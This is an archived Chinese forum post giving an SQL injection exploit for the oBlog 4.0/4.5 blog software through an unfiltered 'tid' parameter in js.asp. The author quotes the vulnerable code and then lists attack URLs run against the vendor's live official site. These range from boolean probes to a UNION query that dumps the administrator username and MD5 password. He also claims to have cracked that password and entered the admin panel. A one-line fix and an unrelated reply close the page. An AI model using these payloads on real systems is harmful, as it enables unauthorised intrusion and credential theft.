oblog最新漏洞(OBLOG4.0跟最新的OBLOG4.5通杀)

dirtysea 发表于 2007-6-28 20:51:04

oblog最新漏洞(OBLOG4.0跟最新的OBLOG4.5通杀)

不废话话了OBLOG4.0跟最新的OBLOG4.5通杀。 漏洞文件：js.asp 看代码 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code1'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code1>  <% Dim oblog set oblog=new class_sys oblog.autoupdate=False oblog.start dim js_blogurl,n js_blogurl=Trim(oblog.CacheConfig(3)) n=CInt(Request("n")) if n=0 then n=1 select case CInt(Request("j"))   case 1   call tongji()   case 2   call topuser()   case 3   call adduser()   case 4   call listclass()   case 5   call showusertype()   case 6   call listbestblog()   case 7   call showlogin()   case 8   call showplace()   case 9   call showphoto()   case 10   call showblogstars()   Case 11   Call show_hotblog()   Case 12   Call show_teams()   Case 13   Call show_posts()   Case 14   Call show_hottag()   case 0   call showlog() end select ****************省略部分代码****************** Sub show_posts()   Dim teamid,postnum,l,u,t   teamid=Request("tid")   postnum=n   l=CInt(Request("l"))   u=CInt(Request("u"))   t=CInt(Request("t"))   Dim rs,sql,sRet,sAddon   Sql="select Top " & postnum & " teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 "   If teamid<>"" And teamid<>"0" Then     teamid=Replace(teamid,"|",",")     Sql=Sql & " And teamid In (" & teamid & ") "   End If   Sql=Sql & " Order by postid Desc"   Set rs=oblog.Execute(Sql)   sRet="<ul>"   Do While Not rs.Eof     sAddon=""     sRet=sRet & "<li><a href="""&js_blogurl&"group.asp?gid=" & rs(0 target=_blank) & "&pid=" & rs(1) & """ target=""_blank"">" & oblog.Filt_html(Left(rs(2),l)) & "</a>"     If u=1 Then sAddon=rs(4)     if t=1 Then       If sAddon<>"" Then sAddon=sAddon & ","       sAddon=sAddon & rs(3)     End If     If sAddon<>"" Then sAddon="(" & sAddon & ")"     sRet=sRet & sAddon & "</li>"     rs.Movenext   Loop   Set rs = Nothing   sRet=sRet & "</ul>"   Response.write oblog.htm2js (sRet,True) End Sub</BLOCKQUOTE>
 很明显就看到TID没有经过过滤就直接递交给TEAMID了 TEAMID只过滤了"|" 就直接进SQL语句了,对我们的注入没多大影响. 下面拿官方来测试. <A href="http://www.oblog.com.cn/index.html" target=_blank>http://www.oblog.com.cn/index.html</A> 直接进入js.asp页要调用show_posts()过程必须要符合上面的参数n=1,j=13 懂ASP的就很容易看懂了,开始注咯,要注意的只是(" & teamid & ")两边的括号 很容易就能闭合他协调回SQL语句了,下面就开始测试注入是否存在了 提交 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code2'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code2>http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1</BLOCKQUOTE>
 如图1 <IMG &#111nclick="if(this.width>=800) window.open('http://forum.eviloctal.com/attachment/Mon_0704/58_4_61f551a61df3c56.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0704/58_4_61f551a61df3c56.jpg" onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0> 这图比较怪.呵呵.接着加个单引号试试. 如图2 <IMG &#111nclick="if(this.width>=800) window.open('http://forum.eviloctal.com/attachment/Mon_0704/58_4_b007becdea8fac1.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0704/58_4_b007becdea8fac1.jpg" width=800 onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0> 接着提交 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code3'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code3>http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1</BLOCKQUOTE>
 返回正常 如图3 <IMG &#111nclick="if(this.width>=800) window.open('http://forum.eviloctal.com/attachment/Mon_0704/58_4_ce0f0a724bbbf69.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0704/58_4_ce0f0a724bbbf69.jpg" onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0> 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code4'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code4>http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2</BLOCKQUOTE>
 返回异常 如图4 <IMG &#111nclick="if(this.width>=800) window.open('http://forum.eviloctal.com/attachment/Mon_0704/58_4_62728d7183343c4.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0704/58_4_62728d7183343c4.jpg" onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0> 仔细看就能看出异常的时候没有黑点的.真骚 下面就可以猜管理员表了 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code5'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code5>http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1</BLOCKQUOTE>
 自己慢慢猜就可以了 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code6'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code6>Sql="select Top " & postnum & " teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 "</BLOCKQUOTE>
 后面我发现可以直接用UNION暴帐号密码,下面就来试试 先看看他的SQL语句有几个字段, 一共SELECT了6个那么提交 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code7'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code7>http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1</BLOCKQUOTE>
 怎么没有像其他UNION查询的回显数字呢? 其实一切就在源文件里 打开源文件就能发现 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code8'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code8>document.write('<ul><li><a href="http://www.oblog.com.cn/group.asp?gid=1&pid=2" target="_blank"></a></li></ul>' target=_blank);</BLOCKQUOTE>
 gid=1跟pid=2里的1,2就是了直接替换里面的1,2为username,password 如图5 <IMG &#111nclick="if(this.width>=800) window.open('http://forum.eviloctal.com/attachment/Mon_0704/58_4_bdfb21f866ce809.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0704/58_4_bdfb21f866ce809.jpg" width=800 onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0> 提交 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code9'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code9>http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select username,password,3,4,5,6 from oblog_admin where id=(1</BLOCKQUOTE>
 查看源文件,gid后面的就是管理员帐号 pid后面的就是管理员的MD5密码了 如图6 <IMG &#111nclick="if(this.width>=800) window.open('http://forum.eviloctal.com/attachment/Mon_0704/58_4_50bc8744164f82a.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0704/58_4_50bc8744164f82a.jpg" width=800 onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0> 官方的密码我已经破了直接冲进后台 WEBSHELL因为官方权限太死跟本人太菜所以就拿不到SHELL 拿WEBSHELL的方法很简单我改天做个录象顺便发上来 OBLOG的漏洞还不止这些的,大家慢慢研究研究吧. 漏洞修补： 
<H6 class=quote><A &#111nclick="CopyCode(document.getElementById('code10'));" href="&#106avascript:">Copy code</A></H6>
<BLOCKQUOTE id=code10>...... teamid=int(teamid) ...... </BLOCKQUOTE>

玄月月 发表于 2006-5-31 16:41:10

re:oblog最新漏洞(OBLOG4.0跟最新的OBLOG4.5通杀)

我忽然想起很久很久以前看过的一句话，爱到极致就恨到极致。一个弱女子，何必如何在意她呢？

页: [1]

运维之家's Archiver

oblog最新漏洞(OBLOG4.0跟最新的OBLOG4.5通杀)

re:oblog最新漏洞(OBLOG4.0跟最新的OBLOG4.5通杀)